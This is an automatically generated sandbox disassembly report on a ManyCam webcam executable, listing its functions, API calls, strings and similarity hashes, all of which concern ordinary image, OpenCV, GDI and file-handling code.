Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$AllocatorDebugHeapMove$ParentSystem$Base::Concurrency::details::Concurrency::task_options::get_schedulerFileFindFirstFolderInfoLongMetricsParametersPathPolicyRectSchedulerSpecial_wmkdir
String ID: \ManyCam\TempBackgroundPreview$http://manycam.com/help/effects
API String ID: 802195438-2992585156
Opcode ID: ad0380625fa3cecf4b5e51684995b29088e82c278d6510ee7f53ab51bdbc22ca
Instruction ID: 373e2faf4f294b9354e902988eb878b0a96774ffebd8d1961b2fcec7c08dd6c9
Opcode Fuzzy Hash: ad0380625fa3cecf4b5e51684995b29088e82c278d6510ee7f53ab51bdbc22ca
Instruction Fuzzy Hash: 11121F70A041189BEB24EB55CD91BED7775AF44308F0044EEA20E7B2C2DE796E94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 004099E0 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 433memoryCOMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 00409A4E

Part of subcall function 0040F0F0: SendMessageW.USER32(-0000012F,00000147,00000000,00000000), ref: 0040F106

Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 00409AD9
_DebugHeapAllocator.LIBCPMTD ref: 00409B1D

Strings

mce, xrefs: 00409B54
New category..., xrefs: 0040A084

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorBase::Concurrency::details::DebugHeapMessagePolicySchedulerSendmemset
String ID: New category...$mce
API String ID: 1679045135-800315401
Opcode ID: 84cff37b60f26b6a8f6ffd572ec932ad64bfde54e516b5dd0315aff2655b6aaf
Instruction ID: f62fc7b589a48f9eaf1a8544f81ff00b290309f3dd4f0067dcca3c15644f716f
Opcode Fuzzy Hash: 84cff37b60f26b6a8f6ffd572ec932ad64bfde54e516b5dd0315aff2655b6aaf
Instruction Fuzzy Hash: B5121D719012199BCB24EB65CC99BAEB7B5AF44304F1041EEE10AB72D1DB386F84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004D1350 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

GetTickCount.KERNEL32 ref: 004D1414
GetTickCount.KERNEL32 ref: 004D1444
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004D14CE

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

Playback mode is now %s., xrefs: 004D165E
CPlayList::SetPlaybackMode (%s), xrefs: 004D1387

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: CountTickclock$AllocatorConcurrency::cancellation_token_source::~cancellation_token_sourceDebugHeap
String ID: CPlayList::SetPlaybackMode (%s)$Playback mode is now %s.
API String ID: 1115989059-4040813284
Opcode ID: 263e4469555b9ead60d827bbea961355ac1bf97b033ce6d991a803799773ecf7
Instruction ID: 9d0510614a657932bc22ac5f2c18324a99722429085df9436aa323c14c0834bd
Opcode Fuzzy Hash: 263e4469555b9ead60d827bbea961355ac1bf97b033ce6d991a803799773ecf7
Instruction Fuzzy Hash: 66B14CB0E04218EFDB04DFD8C8A5BAEBBB1BF44308F10815EE8066B395DB789945CB55

Uniqueness

Uniqueness Score: -1.00%

Function 017005B0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 165COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,00000000,00000000,00000000), ref: 017005DC
cvGetErrStatus.CXCORE099 ref: 017005E6
cvError.CXCORE099(000000FF,cvGetDiag,Inner function failed.,.\cxarray.cpp,00000661), ref: 01700605
cvError.CXCORE099(000000E5,cvGetDiag,017A124F,.\cxarray.cpp,00000664), ref: 01700633
cvError.CXCORE099(FFFFFF2D,cvGetDiag,017A124F,.\cxarray.cpp,00000676), ref: 0170068F

Strings

.\cxarray.cpp, xrefs: 017005F4, 01700622, 0170067B, 017006CF
Inner function failed., xrefs: 017005F9
cvGetDiag, xrefs: 017005FE, 0170062C, 01700685, 017006D9

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxarray.cpp$Inner function failed.$cvGetDiag
API String ID: 483703942-1712979701
Opcode ID: fcb497f6416af66235902bfc57dce9766fa91ea22135f8d700a4cafc9879c2e8
Instruction ID: f9a3050a1f24f611aaea0734d3605ffe078bf8425a8b01b2f49db99972a37c5e
Opcode Fuzzy Hash: fcb497f6416af66235902bfc57dce9766fa91ea22135f8d700a4cafc9879c2e8
Instruction Fuzzy Hash: 95418CB77007004BD7149E2EECA1A16F3D2EFD0720F9E427EE5059B3D6E6B1A5044690

Uniqueness

Uniqueness Score: -1.00%

Function 0042C210 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 156memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0042F960: _invalid_parameter_noinfo.MSVCR80(-0000003E,?,004AB3E0,00000000,0000000A,00000001,74C45DB3,000000FF,?,004AB79D), ref: 0042F974

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

GetActiveWindow.USER32 ref: 0042C327

Part of subcall function 00413FB0: ??2@YAPAXI@Z.MSVCR80 ref: 00413FD7
Part of subcall function 00413FB0: Concurrency::details::GlobalCore::TopologyObject::TopologyObject.LIBCMTD ref: 00413FF6

Part of subcall function 004CB2C0: _DebugHeapAllocator.LIBCPMTD ref: 004CB2DC

CopyFileW.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0042C370

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

wcslen.MSVCR80 ref: 0042C413

Part of subcall function 0040EDB0: _DebugHeapAllocator.LIBCPMTD ref: 0040EDE7

_DebugHeapAllocator.LIBCPMTD ref: 0042C457

Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0AE
Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0CB
Part of subcall function 004CC090: wcscpy.MSVCR80 ref: 004CC0DF
Part of subcall function 004CC090: wcscat.MSVCR80 ref: 004CC0F8
Part of subcall function 004CC090: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004CC124

Strings

Effect file (*.mce), xrefs: 0042C280
mce, xrefs: 0042C2F7
Do you want to open the folder where you saved the effect?, xrefs: 0042C3BD
.mce, xrefs: 0042C28A
ManyCam Virtual Webcam, xrefs: 0042C3B8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Topologymemset$??2@ActiveConcurrency::details::CopyCore::CreateFileGlobalObjectObject::ProcessWindow_invalid_parameter_noinfowcscatwcscpywcslen
String ID: .mce$Do you want to open the folder where you saved the effect?$Effect file (*.mce)$ManyCam Virtual Webcam$mce
API String ID: 4229144189-31463061
Opcode ID: c8ce9ba4c6ac3e6fa5cccc0376bda836f198ede4cd0e84537055311324007d24
Instruction ID: 755dc5116854decbce9ee1598fe2735ff65fd65bd7c172bae2ad841472dafe18
Opcode Fuzzy Hash: c8ce9ba4c6ac3e6fa5cccc0376bda836f198ede4cd0e84537055311324007d24
Instruction Fuzzy Hash: 387158B1D005289EDB24EB64DC95BEFBBB4AF49309F0041EEE509A7281DB345E88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0050E050 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 0050E09D
_DebugHeapAllocator.LIBCPMTD ref: 0050E0C5

Part of subcall function 0050E4A0: _DebugHeapAllocator.LIBCPMTD ref: 0050E4E3
Part of subcall function 0050E4A0: _DebugHeapAllocator.LIBCPMTD ref: 0050E4FF

??0CxImage@@QAE@PAEKK@Z.CXIMAGECRT(&<Q,?,00000000,?,?,?,&<Q), ref: 0050E12E
?Encode2RGBA@CxImage@@QAE_NAAPAEAAJ_N@Z.CXIMAGECRT(00000000,00000000,00000000,&<Q,?,00000000,?,?,?,&<Q), ref: 0050E155
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,&<Q,?,00000000,?,?,?,&<Q), ref: 0050E160
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,00000000,00000000,00000000,&<Q,?,00000000,?,?,?,&<Q), ref: 0050E16C
??3@YAXPAX@Z.MSVCR80 ref: 0050E1B7
~_Mpunct.LIBCPMTD ref: 0050E1D3

Strings

&<Q, xrefs: 0050E08C, 0050E124, 0050E1A7, 0050E08F, 0050E090, 0050E127

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeapImage@@$??3@Encode2Height@MpunctWidth@
String ID: &<Q
API String ID: 2867035028-2887711709
Opcode ID: fbbaa05d77a0a2c3aee7ba4de5523e50d8f2c9dc1e9e8a6a3e8fff9c4fd9968c
Instruction ID: 4fa1d1e2ea6a526748637154a1db03ed3227427cf2602f353b57d12039db24cc
Opcode Fuzzy Hash: fbbaa05d77a0a2c3aee7ba4de5523e50d8f2c9dc1e9e8a6a3e8fff9c4fd9968c
Instruction Fuzzy Hash: 175137B1D00259AFDB14EF54CC46BEEBBB8AF54304F1082ADE519A7281DB746B84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 004197E0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0041987F

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 004198BD
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,0000047D,00000046,0053E730,data\images\backgroundControl\background\,00000046,?,?,74C45DB3,?,0000047D,00000023,00000046), ref: 004198E0

Strings

LS, xrefs: 0041980F
`S, xrefs: 00419816
.png, xrefs: 004198B5
0S, xrefs: 00419808
S, xrefs: 00419839
data\images\backgroundControl\background\, xrefs: 00419877

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: .png$0S$LS$`S$data\images\backgroundControl\background\$S
API String ID: 1315443971-3997788365
Opcode ID: 02809580c12525f98958325a7bfa43803c747b7b9b7e3c1d56384f9c16ba48a1
Instruction ID: c255484564948487ca09c12a6e8e79ec8d091f34d803f33d82e763e2732db065
Opcode Fuzzy Hash: 02809580c12525f98958325a7bfa43803c747b7b9b7e3c1d56384f9c16ba48a1
Instruction Fuzzy Hash: B13114B1D11288EBDB08EF95D886BDEBBF4FB05308F10452EE4117B281DB741949CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00504470 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP80(00000000,74C45DB3,?,00538D19,000000FF,?,005028F6,?,?,00000000,00000001), ref: 0050449A
??Bid@locale@std@@QAEIXZ.MSVCP80(?,005028F6,?,?,00000000), ref: 005044B4
?_Getfacet@locale@std@@QBEPBVfacet@12@I@Z.MSVCP80(005028F6,?,005028F6,?,?,00000000), ref: 005044C4
??1_Lockit@std@@QAE@XZ.MSVCP80(00585C98,00585C98), ref: 00504548

Strings

bad cast, xrefs: 005044F4

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getfacet@locale@std@@Vfacet@12@
String ID: bad cast
API String ID: 2261832285-3145022300
Opcode ID: 923687adefb6f0c19f08b85b92506c3169178af31264b40b8c27a0d15710eb83
Instruction ID: daf008f5657916d2d0eedf94b6e793cb89aacae9b3ddac5973414a6306a2ac1a
Opcode Fuzzy Hash: 923687adefb6f0c19f08b85b92506c3169178af31264b40b8c27a0d15710eb83
Instruction Fuzzy Hash: CE31F7B5D04209DFDB18DFA4EC45AAEBBB4FB58310F10862AE922A33D0DB745945DF50

Uniqueness

Uniqueness Score: -1.00%

Function 005005B0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

memset.MSVCR80 ref: 005005BE
GetDC.USER32(00000000), ref: 005005E7
CreateCompatibleDC.GDI32(?), ref: 005005F4
CreateDIBSection.GDI32(?,00000028,00000000,004FFD12,00000000,00000000), ref: 00500611
SelectObject.GDI32(?,?), ref: 00500624
CreateSolidBrush.GDI32(00646464), ref: 0050062F
FillRect.USER32(?,00000000,?), ref: 00500660
DeleteObject.GDI32(?), ref: 0050066A

Strings

(, xrefs: 005005C6

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Create$Object$BrushCompatibleDeleteFillRectSectionSelectSolidmemset
String ID: (
API String ID: 350534114-3887548279
Opcode ID: 3e1382d06632c1444c66c9e23b0b1d57039686e8e7ec12f8ecdf2cdf2c9d43f5
Instruction ID: 6b77fbc94f0777f5953b629b7868787099419c0b5001c060241ffebfa8b2f360
Opcode Fuzzy Hash: 3e1382d06632c1444c66c9e23b0b1d57039686e8e7ec12f8ecdf2cdf2c9d43f5
Instruction Fuzzy Hash: FE21E9B5900308EFDB04DF94D888B9EBBB5FF88301F108119FA05A7390D7759A09DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01784500 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 60COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FE,icvXMLStartWriteStruct,An extra closing tag,.\cxpersistence.cpp,00000934), ref: 01784527

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvGetErrStatus.CXCORE099 ref: 01784548
cvError.CXCORE099(000000FF,icvXMLStartWriteStruct,Inner function failed.,.\cxpersistence.cpp,00000936), ref: 01784567

Strings

An extra closing tag, xrefs: 0178451B
icvXMLStartWriteStruct, xrefs: 01784520, 01784560
Inner function failed., xrefs: 0178455B
.\cxpersistence.cpp, xrefs: 01784516, 01784556

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxpersistence.cpp$An extra closing tag$Inner function failed.$icvXMLStartWriteStruct
API String ID: 1596131371-651475469
Opcode ID: 64b1c2486f718806f9bce15917ebfcc5e9a3a9a03ab785aa5bdb7d13c33ccc9b
Instruction ID: 4f4c483e14ffcc78ca1a3e780cba7660bcb40009f26e9936072b793a130dcdcf
Opcode Fuzzy Hash: 64b1c2486f718806f9bce15917ebfcc5e9a3a9a03ab785aa5bdb7d13c33ccc9b
Instruction Fuzzy Hash: EE11C8B5A417016BD710FB19DC96E57F3E0BF98614F804A5CF88963786E270FA408A92

Uniqueness

Uniqueness Score: -1.00%

Function 00402680 Relevance: 15.4, APIs: 10, Instructions: 409COMMON

Download Yara Rule

APIs

cvSet.CXCORE099(?,?,?,?,?,?,00000000), ref: 004026F7
cvGEMM.CXCORE099(?,?), ref: 00402755
_CIsqrt.MSVCR80 ref: 004027F6
cvGEMM.CXCORE099(?,?), ref: 00402852
cvSet2D.CXCORE099(?,?,?), ref: 004028DB
cvGEMM.CXCORE099(?,?,?,00000000,?,00000000), ref: 00402925
cvSet2D.CXCORE099(?,?,?), ref: 0040299E
cvGEMM.CXCORE099(?,?,?,00000000,?,00000000), ref: 00402A4D
cvGEMM.CXCORE099(?,?), ref: 00402ADA
cvLine.CXCORE099(?,?,?,?,?), ref: 00402B4D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Set2$IsqrtLine
String ID:
API String ID: 2296038289-0
Opcode ID: 5380ecd6c58ae11980828ad1f4b84ea6df1e54ba14efa23bf64b0481e8ed7457
Instruction ID: 98af563dca7e08dae4733c818569099b16958337ef14baff457f1a71e3476642
Opcode Fuzzy Hash: 5380ecd6c58ae11980828ad1f4b84ea6df1e54ba14efa23bf64b0481e8ed7457
Instruction Fuzzy Hash: C8F16CB1A05601DFC305AF60D589A6ABFF0FF84740F614D88E4D5262A9E731D8B5CF86

Uniqueness

Uniqueness Score: -1.00%

Function 004057D0 Relevance: 15.1, APIs: 10, Instructions: 88COMMON

Download Yara Rule

APIs

cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,00000000), ref: 004057DA
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,00000000), ref: 004057EC
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,00000000), ref: 004057FE
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405810

Part of subcall function 004053A0: cvSet.CXCORE099(?,?,?,?,00000000,?,FFFFFFFE,?,00405829), ref: 004053C2

Part of subcall function 004055D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,FFFFFFFE,?,?,?,00405837,?), ref: 004055E2
Part of subcall function 004055D0: cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,FFFFFFFE,?,?,?,00405837,?), ref: 004055F4
Part of subcall function 004055D0: cvGEMM.CXCORE099(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFE), ref: 00405639
Part of subcall function 004055D0: cvSet.CXCORE099(?), ref: 00405662
Part of subcall function 004055D0: _CIcos.MSVCR80 ref: 004056A5
Part of subcall function 004055D0: _CIsin.MSVCR80 ref: 004056BA

Part of subcall function 00405740: cvSet.CXCORE099(?,?,?,?,00000000,?,FFFFFFFE,?,00405847), ref: 00405762

cvGEMM.CXCORE099(?,?), ref: 0040586A
cvGEMM.CXCORE099(?,?), ref: 00405895
cvReleaseMat.CXCORE099(?), ref: 004058A2
cvReleaseMat.CXCORE099(?), ref: 004058AF
cvReleaseMat.CXCORE099(?), ref: 004058BC
cvReleaseMat.CXCORE099(?), ref: 004058C9

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Create$Release$IcosIsin
String ID:
API String ID: 2101255812-0
Opcode ID: ca56298a2f5984f68f116382747911cee6aa4628ff14558b2bd9ab42edaa6797
Instruction ID: 0f02d04bed9878b01ec6eb7d24bee74ec2e50252446297c38aea4db588333580
Opcode Fuzzy Hash: ca56298a2f5984f68f116382747911cee6aa4628ff14558b2bd9ab42edaa6797
Instruction Fuzzy Hash: E5215CB0A05702ABD610FB649C4BB1BBBA0AFC4704F444D2CFA94662C1EA71D528CB97

Uniqueness

Uniqueness Score: -1.00%

Function 004888F0 Relevance: 15.1, APIs: 10, Instructions: 73COMMON

Download Yara Rule

APIs

?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(74C45DB3,?,?,?,?,?,?,00530C89,000000FF), ref: 00488924
?_Myptr@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@IAEPA_WXZ.MSVCP80(?,?,?,?,00530C89,000000FF), ref: 00488936
?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ.MSVCP80(?,?,?,?,00530C89,000000FF), ref: 00488941
?capacity@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QBEIXZ.MSVCP80(?,?,?,?,00530C89,000000FF), ref: 00488952
?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ.MSVCP80(?,?,?,?,00530C89,000000FF), ref: 0048895D
??0?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAE@PB_W@Z.MSVCP80(00000000,00000000,?,?,?,?,00530C89,000000FF), ref: 0048897B
?append@?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAEAAV12@ABV12@@Z.MSVCP80(?,?,?,?,?,00530C89,000000FF), ref: 00488998
??1?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@QAE@XZ.MSVCP80(?,?,?,?,00530C89,000000FF), ref: 004889A8
